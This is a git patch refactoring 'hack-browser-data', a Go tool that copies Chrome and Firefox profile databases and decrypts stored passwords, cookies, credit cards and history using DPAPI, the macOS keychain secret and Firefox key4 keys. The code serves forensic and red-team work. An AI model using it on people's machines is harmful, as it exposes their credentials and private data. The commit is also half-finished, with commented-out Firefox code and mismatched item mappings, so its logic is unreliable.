From 8b8cab4393e747f5a9fc83c99bbaaff33ef8c5ba Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Mon, 11 Apr 2022 15:53:19 +0800 Subject: [PATCH] feat: rename item temp filename --- internal/browingdata/bookmark.go | 11 +- internal/browingdata/browsingdata.go | 46 ++-- internal/browingdata/cookie.go | 11 +- internal/browingdata/creditcard.go | 5 +- internal/browingdata/download.go | 10 +- internal/browingdata/history.go | 9 +- internal/browingdata/password.go | 29 +-- internal/browser/browser.go | 40 ++- internal/browser/browser_test.go | 160 ++++++------ internal/browser/chromium/chromium.go | 76 +++--- internal/browser/chromium/chromium_darwin.go | 11 +- internal/browser/chromium/chromium_windows.go | 11 +- internal/browser/firefox/firefox.go | 241 +++++++++--------- internal/item/filename.go | 25 ++ internal/item/item.go | 145 ++++------- internal/utils/typeutil/typeutil.go | 2 +- 16 files changed, 412 insertions(+), 420 deletions(-) diff --git a/internal/browingdata/bookmark.go b/internal/browingdata/bookmark.go index 85ac150..723bf3b 100644 --- a/internal/browingdata/bookmark.go +++ b/internal/browingdata/bookmark.go @@ -3,6 +3,7 @@ package browingdata import ( "database/sql" "fmt" + "os" "sort" "time" @@ -11,6 +12,8 @@ import ( "hack-browser-data/internal/item" "hack-browser-data/internal/utils" "hack-browser-data/internal/utils/fileutil" + + _ "github.com/mattn/go-sqlite3" ) type ChromiumBookmark []bookmark @@ -24,10 +27,11 @@ type bookmark struct { } func (c *ChromiumBookmark) Parse(masterKey []byte) error { - bookmarks, err := fileutil.ReadFile("bookmark") + bookmarks, err := fileutil.ReadFile(item.TempChromiumBookmark) if err != nil { return err } + defer os.Remove(item.TempChromiumBookmark) r := gjson.Parse(bookmarks) if r.Exists() { roots := r.Get("roots") @@ -84,12 +88,13 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error { keyDB *sql.DB bookmarkRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", item.FirefoxBookmarkFilename) + keyDB, err = sql.Open("sqlite3", item.TempFirefoxBookmark) if err != nil { return err } - _, err = keyDB.Exec(closeJournalMode) + defer os.RemoveAll(item.TempFirefoxBookmark) defer keyDB.Close() + _, err = keyDB.Exec(closeJournalMode) bookmarkRows, err = keyDB.Query(queryFirefoxBookMark) if err != nil { diff --git a/internal/browingdata/browsingdata.go b/internal/browingdata/browsingdata.go index d81985d..7b2a9d1 100644 --- a/internal/browingdata/browsingdata.go +++ b/internal/browingdata/browsingdata.go @@ -6,8 +6,8 @@ import ( "hack-browser-data/internal/item" ) -type BrowsingData struct { - sources map[item.Item]Source +type Data struct { + Sources map[item.Item]Source } type Source interface { @@ -16,39 +16,49 @@ type Source interface { Name() string } -func New(sources []item.Item) *BrowsingData { - bd := &BrowsingData{ - sources: make(map[item.Item]Source), +func New(sources []item.Item) *Data { + bd := &Data{ + Sources: make(map[item.Item]Source), } bd.addSource(sources) return bd } -func (b *BrowsingData) addSource(sources []item.Item) { - for _, source := range sources { +func (d *Data) Recovery(masterKey []byte) error { + + for _, source := range d.Sources { + if err := source.Parse(masterKey); err != nil { + panic(err) + } + } + return nil +} + +func (d *Data) addSource(Sources []item.Item) { + for _, source := range Sources { switch source { case item.ChromiumPassword: - b.sources[source] = &ChromiumPassword{} + d.Sources[source] = &ChromiumPassword{} case item.ChromiumCookie: - b.sources[source] = &ChromiumCookie{} + d.Sources[source] = &ChromiumCookie{} case item.ChromiumBookmark: - b.sources[source] = &ChromiumBookmark{} + d.Sources[source] = &ChromiumBookmark{} case item.ChromiumHistory: - b.sources[source] = &ChromiumHistory{} + d.Sources[source] = &ChromiumHistory{} case item.ChromiumDownload: - b.sources[source] = &ChromiumDownload{} + d.Sources[source] = &ChromiumDownload{} case item.ChromiumCreditCard: - b.sources[source] = &ChromiumCreditCard{} + d.Sources[source] = &ChromiumCreditCard{} case item.FirefoxPassword: - b.sources[source] = &FirefoxPassword{} + d.Sources[source] = &FirefoxPassword{} case item.FirefoxCookie: - b.sources[source] = &FirefoxCookie{} + d.Sources[source] = &FirefoxCookie{} case item.FirefoxBookmark: - b.sources[source] = &FirefoxBookmark{} + d.Sources[source] = &FirefoxBookmark{} case item.FirefoxHistory: - b.sources[source] = &FirefoxHistory{} + d.Sources[source] = &FirefoxHistory{} case item.FirefoxDownload: - b.sources[source] = &FirefoxDownload{} + d.Sources[source] = &FirefoxDownload{} } } } diff --git a/internal/browingdata/cookie.go b/internal/browingdata/cookie.go index c212787..775b1a3 100644 --- a/internal/browingdata/cookie.go +++ b/internal/browingdata/cookie.go @@ -3,23 +3,24 @@ package browingdata import ( "database/sql" "fmt" + "os" "sort" - "hack-browser-data/internal/browser/item" + _ "github.com/mattn/go-sqlite3" "hack-browser-data/internal/decrypter" + "hack-browser-data/internal/item" "hack-browser-data/internal/utils" - - _ "github.com/mattn/go-sqlite3" ) type ChromiumCookie []cookie func (c *ChromiumCookie) Parse(masterKey []byte) error { - cookieDB, err := sql.Open("sqlite3", item.ChromiumCookieFilename) + cookieDB, err := sql.Open("sqlite3", item.TempChromiumCookie) if err != nil { return err } + defer os.Remove(item.TempChromiumCookie) defer cookieDB.Close() rows, err := cookieDB.Query(queryChromiumCookie) if err != nil { @@ -79,7 +80,7 @@ func (c *ChromiumCookie) Name() string { type FirefoxCookie []cookie func (f *FirefoxCookie) Parse(masterKey []byte) error { - cookieDB, err := sql.Open("sqlite3", item.FirefoxCookieFilename) + cookieDB, err := sql.Open("sqlite3", item.TempFirefoxCookie) if err != nil { return err } diff --git a/internal/browingdata/creditcard.go b/internal/browingdata/creditcard.go index e0a02f4..2c19a8e 100644 --- a/internal/browingdata/creditcard.go +++ b/internal/browingdata/creditcard.go @@ -6,15 +6,14 @@ import ( _ "github.com/mattn/go-sqlite3" - "hack-browser-data/internal/browser/item" - "hack-browser-data/internal/decrypter" + "hack-browser-data/internal/item" ) type ChromiumCreditCard []card func (c *ChromiumCreditCard) Parse(masterKey []byte) error { - creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit) + creditDB, err := sql.Open("sqlite3", item.TempChromiumCreditCard) if err != nil { return err } diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go index aec3d58..f421be6 100644 --- a/internal/browingdata/download.go +++ b/internal/browingdata/download.go @@ -6,19 +6,17 @@ import ( "sort" "strings" - "github.com/tidwall/gjson" - - "hack-browser-data/internal/browser/item" - + "hack-browser-data/internal/item" "hack-browser-data/internal/utils" _ "github.com/mattn/go-sqlite3" + "github.com/tidwall/gjson" ) type ChromiumDownload []download func (c *ChromiumDownload) Parse(masterKey []byte) error { - historyDB, err := sql.Open("sqlite3", item.ChromiumDownloadFilename) + historyDB, err := sql.Open("sqlite3", item.TempChromiumDownload) if err != nil { return err } @@ -64,7 +62,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error { keyDB *sql.DB downloadRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", item.FirefoxDownloadFilename) + keyDB, err = sql.Open("sqlite3", item.TempFirefoxDownload) if err != nil { return err } diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go index ee6d64e..5c96309 100644 --- a/internal/browingdata/history.go +++ b/internal/browingdata/history.go @@ -5,17 +5,16 @@ import ( "fmt" "sort" - "hack-browser-data/internal/browser/item" + _ "github.com/mattn/go-sqlite3" + "hack-browser-data/internal/item" "hack-browser-data/internal/utils" - - _ "github.com/mattn/go-sqlite3" ) type ChromiumHistory []history func (c *ChromiumHistory) Parse(masterKey []byte) error { - historyDB, err := sql.Open("sqlite3", item.ChromiumHistoryFilename) + historyDB, err := sql.Open("sqlite3", item.TempChromiumHistory) if err != nil { return err } @@ -61,7 +60,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error { keyDB *sql.DB historyRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", item.FirefoxHistoryFilename) + keyDB, err = sql.Open("sqlite3", item.TempFirefoxHistory) if err != nil { return err } diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go index b9cc717..8fc017a 100644 --- a/internal/browingdata/password.go +++ b/internal/browingdata/password.go @@ -9,13 +9,12 @@ import ( "sort" "time" - "hack-browser-data/internal/browser/item" - - decrypter2 "hack-browser-data/internal/decrypter" - "hack-browser-data/internal/utils" - _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" + + "hack-browser-data/internal/decrypter" + "hack-browser-data/internal/item" + "hack-browser-data/internal/utils" ) type ChromiumPassword []loginData @@ -48,12 +47,12 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error { } if len(pwd) > 0 { if masterKey == nil { - password, err = decrypter2.DPApi(pwd) + password, err = decrypter.DPApi(pwd) if err != nil { fmt.Println(err) } } else { - password, err = decrypter2.ChromePass(masterKey, pwd) + password, err = decrypter.ChromePass(masterKey, pwd) if err != nil { fmt.Println(err) } @@ -81,11 +80,11 @@ func (c *ChromiumPassword) Name() string { type FirefoxPassword []loginData func (f *FirefoxPassword) Parse(masterKey []byte) error { - globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.FirefoxKey4Filename) + globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.TempFirefoxKey4) if err != nil { return err } - metaPBE, err := decrypter2.NewASN1PBE(metaBytes) + metaPBE, err := decrypter.NewASN1PBE(metaBytes) if err != nil { return err } @@ -98,7 +97,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error { if bytes.Contains(k, []byte("password-check")) { m := bytes.Compare(nssA102, keyLin) if m == 0 { - nssPBE, err := decrypter2.NewASN1PBE(nssA11) + nssPBE, err := decrypter.NewASN1PBE(nssA11) if err != nil { return err } @@ -107,16 +106,16 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error { if err != nil { return err } - allLogin, err := getFirefoxLoginData(item.FirefoxPasswordFilename) + allLogin, err := getFirefoxLoginData(item.TempFirefoxPassword) if err != nil { return err } for _, v := range allLogin { - userPBE, err := decrypter2.NewASN1PBE(v.encryptUser) + userPBE, err := decrypter.NewASN1PBE(v.encryptUser) if err != nil { return err } - pwdPBE, err := decrypter2.NewASN1PBE(v.encryptPass) + pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass) if err != nil { return err } @@ -130,8 +129,8 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error { } *f = append(*f, loginData{ LoginUrl: v.LoginUrl, - UserName: string(decrypter2.PKCS5UnPadding(user)), - Password: string(decrypter2.PKCS5UnPadding(pwd)), + UserName: string(decrypter.PKCS5UnPadding(user)), + Password: string(decrypter.PKCS5UnPadding(pwd)), CreateDate: v.CreateDate, }) } diff --git a/internal/browser/browser.go b/internal/browser/browser.go index baff2fc..aa115c0 100644 --- a/internal/browser/browser.go +++ b/internal/browser/browser.go @@ -13,16 +13,9 @@ type Browser interface { GetMasterKey() ([]byte, error) - GetBrowsingData() []browingdata.Source - - CopyItemFileToLocal() error + GetBrowsingData() (*browingdata.Data, error) } -var ( - // home dir path for all platforms - homeDir, _ = os.UserHomeDir() -) - func PickBrowser(name string) []Browser { var browsers []Browser clist := pickChromium(name) @@ -45,7 +38,7 @@ func pickChromium(name string) []Browser { name = strings.ToLower(name) if name == "all" { for _, c := range chromiumList { - if b, err := chromium.New(c.name, c.profilePath, c.storage, c.items); err == nil { + if b, err := chromium.New(c.name, c.storage, c.profilePath, c.items); err == nil { browsers = append(browsers, b) } else { if strings.Contains(err.Error(), "profile path is not exist") { @@ -56,8 +49,8 @@ func pickChromium(name string) []Browser { } return browsers } - if choice, ok := chromiumList[name]; ok { - b, err := newChromium(choice.browserInfo, choice.items) + if c, ok := chromiumList[name]; ok { + b, err := chromium.New(c.name, c.storage, c.profilePath, c.items) if err != nil { panic(err) } @@ -71,15 +64,15 @@ func pickFirefox(name string) []Browser { var browsers []Browser name = strings.ToLower(name) if name == "all" || name == "firefox" { - for _, f := range firefoxList { - multiFirefox, err := newMultiFirefox(f.browserInfo, f.items) - if err != nil { - panic(err) - } - for _, browser := range multiFirefox { - browsers = append(browsers, browser) - } - } + // for _, f := range firefoxList { + // multiFirefox, err := firefox(f.browserInfo, f.items) + // if err != nil { + // panic(err) + // } + // for _, browser := range multiFirefox { + // browsers = append(browsers, browser) + // } + // } return browsers } return nil @@ -96,9 +89,10 @@ func ListBrowser() []string { return l } -type browserInfo struct { - masterKey []byte -} +var ( + // home dir path for all platforms + homeDir, _ = os.UserHomeDir() +) const ( chromeName = "Chrome" diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go index 4fbab5d..f261abd 100644 --- a/internal/browser/browser_test.go +++ b/internal/browser/browser_test.go @@ -4,53 +4,71 @@ import ( "fmt" "testing" - "hack-browser-data/internal/log" + "hack-browser-data/internal/browser/chromium" + "hack-browser-data/internal/item" "hack-browser-data/internal/outputter" ) func TestPickChromium(t *testing.T) { - browsers := pickChromium("chrome") - log.InitLog("debug") - filetype := "json" - dir := "result" - output := outputter.NewOutPutter(filetype) - if err := output.MakeDir("result"); err != nil { - panic(err) - } - for _, b := range browsers { - fmt.Printf("%+v\n", b) - if err := b.CopyItemFileToLocal(); err != nil { - panic(err) - } - masterKey, err := b.GetMasterKey() - if err != nil { - fmt.Println(err) - } - browserName := b.GetName() - multiData := b.GetBrowsingData() - for _, data := range multiData { - if err := data.Parse(masterKey); err != nil { - fmt.Println(err) - } - filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) - file, err := output.CreateFile(dir, filename) - if err != nil { - panic(err) - } - if err := output.Write(data, file); err != nil { - panic(err) - } - } - } + // browsers := pickChromium("chrome") + // log.InitLog("debug") + // filetype := "json" + // // dir := "result" + // output := outputter.NewOutPutter(filetype) + // _ = output + // for _, b := range browsers { + // fmt.Printf("%+v\n", b) + // if err := b.CopyItemFileToLocal(); err != nil { + // panic(err) + // } + // _, err := b.GetMasterKey() + // if err != nil { + // fmt.Println(err) + // } + // // browserName := b.GetName() + // data, err := b.GetBrowsingData() + // fmt.Println(data) + // // for _, data := range multiData { + // // if err := data.Parse(masterKey); err != nil { + // // fmt.Println(err) + // // } + // // filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) + // // file, err := output.CreateFile(dir, filename) + // // if err != nil { + // // panic(err) + // // } + // // if err := output.Write(data, file); err != nil { + // // panic(err) + // // } + // // } + // } } func TestGetChromiumItemAbsPath(t *testing.T) { p := `/Library/Application Support/Google/Chrome/` - s, err := getChromiumItemPath(p, defaultChromiumItems) + p = homeDir + p + c, err := chromium.New("chrome", "Chrome", p, item.DefaultChromium) + if err != nil { + t.Error(err) + } + data, err := c.GetBrowsingData() + if err != nil { + t.Error(err) + } + output := outputter.NewOutPutter("json") + if err != nil { - panic(err) + t.Error(err) + } + for _, v := range data.Sources { + f, err := output.CreateFile("result", v.Name()+".json") + if err != nil { + panic(err) + } + if err := output.Write(v, f); err != nil { + panic(err) + } } - fmt.Println(s) } func TestPickBrowsers(t *testing.T) { @@ -63,37 +81,37 @@ func TestPickBrowsers(t *testing.T) { // output := outputter.NewOutPutter(filetype) } -func TestPickFirefox(t *testing.T) { - browsers := pickFirefox("all") - filetype := "json" - dir := "result" - output := outputter.NewOutPutter(filetype) - if err := output.MakeDir("result"); err != nil { - panic(err) - } - for _, b := range browsers { - fmt.Printf("%+v\n", b) - if err := b.CopyItemFileToLocal(); err != nil { - panic(err) - } - masterKey, err := b.GetMasterKey() - if err != nil { - fmt.Println(err) - } - browserName := b.GetName() - multiData := b.GetBrowsingData() - for _, data := range multiData { - if err := data.Parse(masterKey); err != nil { - fmt.Println(err) - } - filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) - file, err := output.CreateFile(dir, filename) - if err != nil { - panic(err) - } - if err := output.Write(data, file); err != nil { - panic(err) - } - } - } -} +// func TestPickFirefox(t *testing.T) { +// browsers := pickFirefox("all") +// filetype := "json" +// dir := "result" +// output := outputter.NewOutPutter(filetype) +// if err := output.MakeDir("result"); err != nil { +// panic(err) +// } +// for _, b := range browsers { +// fmt.Printf("%+v\n", b) +// if err := b.CopyItemFileToLocal(); err != nil { +// panic(err) +// } +// masterKey, err := b.GetMasterKey() +// if err != nil { +// fmt.Println(err) +// } +// browserName := b.GetName() +// multiData := b.GetBrowsingData() +// for _, data := range multiData { +// if err := data.Parse(masterKey); err != nil { +// fmt.Println(err) +// } +// filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) +// file, err := output.CreateFile(dir, filename) +// if err != nil { +// panic(err) +// } +// if err := output.Write(data, file); err != nil { +// panic(err) +// } +// } +// } +// } diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go index 1fceacf..05a46e9 100644 --- a/internal/browser/chromium/chromium.go +++ b/internal/browser/chromium/chromium.go @@ -22,65 +22,65 @@ type chromium struct { itemPaths map[item.Item]string } -// New creates a new instance of chromium browser, fill item's path if item is exist. +// New create instance of chromium browser, fill item's path if item is existed. func New(name, storage, profilePath string, items []item.Item) (*chromium, error) { - + c := &chromium{ + name: name, + storage: storage, + } // TODO: Handle file path is not exist if !fileutil.FolderExists(profilePath) { return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath) } - itemsPaths, err := getChromiumItemPath(profilePath, items) + masterKey, err := c.GetMasterKey() if err != nil { return nil, err } - - c := &chromium{ - name: name, - storage: storage, - profilePath: profilePath, - items: typeutil.Keys(itemsPaths), - itemPaths: itemsPaths, + itemsPaths, err := c.getItemPath(profilePath, items) + if err != nil { + return nil, err } - // new browsing data + c.masterKey = masterKey + c.profilePath = profilePath + c.itemPaths = itemsPaths + c.items = typeutil.Keys(itemsPaths) return c, err } +func (c *chromium) GetItems() []item.Item { + return c.items +} + +func (c *chromium) GetItemPaths() map[item.Item]string { + return c.itemPaths +} + func (c *chromium) GetName() string { return c.name } -func (c *chromium) GetBrowsingData() []browingdata.Source { - var browsingData []browingdata.Source - data := browingdata.New(c.items) - for item := range c.itemPaths { - d := item.NewBrowsingData() - if d != nil { - browsingData = append(browsingData, d) - } +func (c *chromium) GetBrowsingData() (*browingdata.Data, error) { + b := browingdata.New(c.items) + + if err := c.copyItemToLocal(); err != nil { + return nil, err + } + if err := b.Recovery(c.masterKey); err != nil { + return nil, err } - return browsingData + return b, nil } -func (c *chromium) CopyItemFileToLocal() error { - for item, sourcePath := range c.itemPaths { - var dstFilename = item.TempName() - locals, _ := filepath.Glob("*") - for _, v := range locals { - if v == dstFilename { - err := os.Remove(dstFilename) - // TODO: Should Continue all iteration error - if err != nil { - return err - } - } - } - +func (c *chromium) copyItemToLocal() error { + for i, path := range c.itemPaths { + // var dstFilename = item.TempName() + var filename = i.String() // TODO: Handle read file error - sourceFile, err := ioutil.ReadFile(sourcePath) + d, err := ioutil.ReadFile(path) if err != nil { fmt.Println(err.Error()) } - err = ioutil.WriteFile(dstFilename, sourceFile, 0777) + err = ioutil.WriteFile(filename, d, 0777) if err != nil { return err } @@ -88,7 +88,7 @@ func (c *chromium) CopyItemFileToLocal() error { return nil } -func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) { +func (c *chromium) getItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) { var itemPaths = make(map[item.Item]string) err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths)) return itemPaths, err @@ -102,7 +102,7 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat if it == item.ChromiumKey { itemPaths[it] = path } - // TODO: Handle file path is not in Default folder + // TODO: check file path is not in Default folder if strings.Contains(path, "Default") { itemPaths[it] = path } diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go index cb39885..72cb485 100644 --- a/internal/browser/chromium/chromium_darwin.go +++ b/internal/browser/chromium/chromium_darwin.go @@ -29,17 +29,16 @@ func (c *chromium) GetMasterKey() ([]byte, error) { if stderr.Len() > 0 { return nil, errors.New(stderr.String()) } - temp := stdout.Bytes() - chromeSecret := temp[:len(temp)-1] + chromeSecret := bytes.TrimSpace(stdout.Bytes()) if chromeSecret == nil { return nil, ErrWrongSecurityCommand } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) - if key != nil { - c.browserInfo.masterKey = key - return key, nil + if key == nil { + return nil, ErrWrongSecurityCommand } - return nil, errors.New("macOS wrong security command") + c.masterKey = key + return key, nil } diff --git a/internal/browser/chromium/chromium_windows.go b/internal/browser/chromium/chromium_windows.go index 3301b63..02ad75d 100644 --- a/internal/browser/chromium/chromium_windows.go +++ b/internal/browser/chromium/chromium_windows.go @@ -4,8 +4,11 @@ import ( "encoding/base64" "errors" - "github.com/smallstep/cli/utils" "github.com/tidwall/gjson" + + "hack-browser-data/internal/decrypter" + "hack-browser-data/internal/item" + "hack-browser-data/internal/utils/fileutil" ) var ( @@ -13,7 +16,7 @@ var ( ) func (c *chromium) GetMasterKey() ([]byte, error) { - keyFile, err := utils.ReadFile(item.TempChromiumKey) + keyFile, err := fileutil.ReadFile(item.TempChromiumKey) if err != nil { return nil, err } @@ -23,8 +26,8 @@ func (c *chromium) GetMasterKey() ([]byte, error) { if err != nil { return nil, errDecodeMasterKeyFailed } - c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:]) - return c.browserInfo.masterKey, err + c.masterKey, err = decrypter.DPApi(pureKey[5:]) + return c.masterKey, err } return nil, nil } diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go index 6bba6e2..7345c06 100644 --- a/internal/browser/firefox/firefox.go +++ b/internal/browser/firefox/firefox.go @@ -1,129 +1,116 @@ package firefox -import ( - "fmt" - "io/fs" - "io/ioutil" - "os" - "path" - "path/filepath" - "strings" - - "hack-browser-data/internal/browingdata" - "hack-browser-data/internal/item" -) - -type firefox struct { - name string - storage string - profilePath string - masterKey []byte - items []item.Item - itemPaths map[item.Item]string - multiItemPaths map[string]map[item.Item]string -} - -// New -func New(info *browserInfo, items []item.Item) ([]*firefox, error) { - f := &firefox{ - browserInfo: info, - items: items, - } - multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items) - if err != nil { - if strings.Contains(err.Error(), "profile path is not exist") { - fmt.Println(err) - return nil, nil - } - panic(err) - } - var firefoxList []*firefox - for name, value := range multiItemPaths { - firefoxList = append(firefoxList, &firefox{ - browserInfo: &browserInfo{ - name: name, - masterKey: nil, - }, - items: items, - itemPaths: value, - }) - } - return firefoxList, nil -} - -func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) { - var multiItemPaths = make(map[string]map[item.Item]string) - absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) - // TODO: Handle read file error - if !isFileExist(absProfilePath) { - return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) - } - err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths)) - return multiItemPaths, err -} - -func (f *firefox) CopyItemFileToLocal() error { - for item, sourcePath := range f.itemPaths { - var dstFilename = item.TempName() - locals, _ := filepath.Glob("*") - for _, v := range locals { - if v == dstFilename { - err := os.Remove(dstFilename) - // TODO: Should Continue all iteration error - if err != nil { - return err - } - } - } - - // TODO: Handle read file name error - sourceFile, err := ioutil.ReadFile(sourcePath) - if err != nil { - fmt.Println(err.Error()) - } - err = ioutil.WriteFile(dstFilename, sourceFile, 0777) - if err != nil { - return err - } - } - return nil -} - -func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc { - return func(path string, info fs.FileInfo, err error) error { - for _, v := range items { - if info.Name() == v.FileName() { - parentDir := getParentDir(path) - if _, exist := multiItemPaths[parentDir]; exist { - multiItemPaths[parentDir][v] = path - } else { - multiItemPaths[parentDir] = map[item.Item]string{v: path} - } - } - } - return err - } -} - -func getParentDir(absPath string) string { - return filepath.Base(filepath.Dir(absPath)) -} - -func (f *firefox) GetMasterKey() ([]byte, error) { - return f.masterKey, nil -} - -func (f *firefox) GetName() string { - return f.name -} - -func (f *firefox) GetBrowsingData() []browingdata.Source { - var browsingData []browingdata.Source - for item := range f.itemPaths { - d := item.NewBrowsingData() - if d != nil { - browsingData = append(browsingData, d) - } - } - return browsingData -} +// type firefox struct { +// name string +// storage string +// profilePath string +// masterKey []byte +// items []item.Item +// itemPaths map[item.Item]string +// multiItemPaths map[string]map[item.Item]string +// } +// +// // New +// func New(info *browserInfo, items []item.Item) ([]*firefox, error) { +// f := &firefox{ +// browserInfo: info, +// items: items, +// } +// multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items) +// if err != nil { +// if strings.Contains(err.Error(), "profile path is not exist") { +// fmt.Println(err) +// return nil, nil +// } +// panic(err) +// } +// var firefoxList []*firefox +// for name, value := range multiItemPaths { +// firefoxList = append(firefoxList, &firefox{ +// browserInfo: &browserInfo{ +// name: name, +// masterKey: nil, +// }, +// items: items, +// itemPaths: value, +// }) +// } +// return firefoxList, nil +// } +// +// func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) { +// var multiItemPaths = make(map[string]map[item.Item]string) +// absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) +// // TODO: Handle read file error +// if !isFileExist(absProfilePath) { +// return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) +// } +// err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths)) +// return multiItemPaths, err +// } +// +// func (f *firefox) CopyItemFileToLocal() error { +// for item, sourcePath := range f.itemPaths { +// var dstFilename = item.TempName() +// locals, _ := filepath.Glob("*") +// for _, v := range locals { +// if v == dstFilename { +// err := os.Remove(dstFilename) +// // TODO: Should Continue all iteration error +// if err != nil { +// return err +// } +// } +// } +// +// // TODO: Handle read file name error +// sourceFile, err := ioutil.ReadFile(sourcePath) +// if err != nil { +// fmt.Println(err.Error()) +// } +// err = ioutil.WriteFile(dstFilename, sourceFile, 0777) +// if err != nil { +// return err +// } +// } +// return nil +// } +// +// func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc { +// return func(path string, info fs.FileInfo, err error) error { +// for _, v := range items { +// if info.Name() == v.FileName() { +// parentDir := getParentDir(path) +// if _, exist := multiItemPaths[parentDir]; exist { +// multiItemPaths[parentDir][v] = path +// } else { +// multiItemPaths[parentDir] = map[item.Item]string{v: path} +// } +// } +// } +// return err +// } +// } +// +// func getParentDir(absPath string) string { +// return filepath.Base(filepath.Dir(absPath)) +// } +// +// func (f *firefox) GetMasterKey() ([]byte, error) { +// return f.masterKey, nil +// } +// +// func (f *firefox) GetName() string { +// return f.name +// } +// +// func (f *firefox) GetBrowsingData() []browingdata.Source { +// var browsingData []browingdata.Source +// for item := range f.itemPaths { +// d := item.NewBrowsingData() +// if d != nil { +// browsingData = append(browsingData, d) +// } +// } +// return browsingData +// } diff --git a/internal/item/filename.go b/internal/item/filename.go index 15741d3..e8868e6 100644 --- a/internal/item/filename.go +++ b/internal/item/filename.go @@ -24,3 +24,28 @@ const ( UnknownItem = "unknown item" UnsupportedItem = "unsupported item" ) + +const ( + TempChromiumKey = "chromiumKey" + TempChromiumPassword = "password" + TempChromiumCookie = "cookie" + TempChromiumBookmark = "bookmark" + TempChromiumHistory = "history" + TempChromiumDownload = "download" + TempChromiumCreditCard = "creditCard" + TempChromiumLocalStorage = "localStorage" + TempChromiumExtension = "extension" + + TempYandexPassword = "yandexPassword" + TempYandexCreditCard = "yandexCreditCard" + + TempFirefoxKey4 = "firefoxKey4" + TempFirefoxPassword = "firefoxPassword" + TempFirefoxCookie = "firefoxCookie" + TempFirefoxBookmark = "firefoxBookmark" + TempFirefoxHistory = "firefoxHistory" + TempFirefoxDownload = "firefoxDownload" + TempFirefoxCreditCard = "" + TempFirefoxLocalStorage = "" + TempFirefoxExtension = "" +) diff --git a/internal/item/item.go b/internal/item/item.go index fc9e71f..0db919b 100644 --- a/internal/item/item.go +++ b/internal/item/item.go @@ -1,45 +1,5 @@ package item -import ( - data2 "hack-browser-data/internal/browingdata" -) - -var DefaultFirefox = []Item{ - FirefoxKey4, - FirefoxPassword, - FirefoxCookie, - FirefoxBookmark, - FirefoxHistory, - FirefoxDownload, - FirefoxCreditCard, - FirefoxLocalStorage, - FirefoxExtension, -} - -var DefaultYandex = []Item{ - ChromiumKey, - ChromiumCookie, - ChromiumBookmark, - ChromiumHistory, - ChromiumDownload, - ChromiumLocalStorage, - ChromiumExtension, - YandexPassword, - YandexCreditCard, -} - -var DefaultChromium = []Item{ - ChromiumKey, - ChromiumPassword, - ChromiumCookie, - ChromiumBookmark, - ChromiumHistory, - ChromiumDownload, - ChromiumCreditCard, - ChromiumLocalStorage, - ChromiumExtension, -} - type Item int const ( @@ -117,39 +77,39 @@ func (i Item) FileName() string { func (i Item) String() string { switch i { case ChromiumKey: - return "chromiumKey" + return TempChromiumKey case ChromiumPassword: - return "password" + return TempChromiumPassword case ChromiumCookie: - return "cookie" + return TempChromiumCookie case ChromiumBookmark: - return "bookmark" + return TempChromiumBookmark case ChromiumDownload: - return "download" + return TempChromiumDownload case ChromiumLocalStorage: - return "localStorage" + return TempChromiumLocalStorage case ChromiumCreditCard: - return "creditCard" + return TempChromiumCreditCard case ChromiumExtension: return UnsupportedItem case ChromiumHistory: - return "history" + return TempChromiumExtension case YandexPassword: - return "yandexPassword" + return TempYandexPassword case YandexCreditCard: - return "yandexCreditCard" + return TempYandexCreditCard case FirefoxKey4: - return "firefoxKey4" + return TempFirefoxKey4 case FirefoxPassword: - return "firefoxPassword" + return TempFirefoxPassword case FirefoxCookie: - return "firefoxCookie" + return 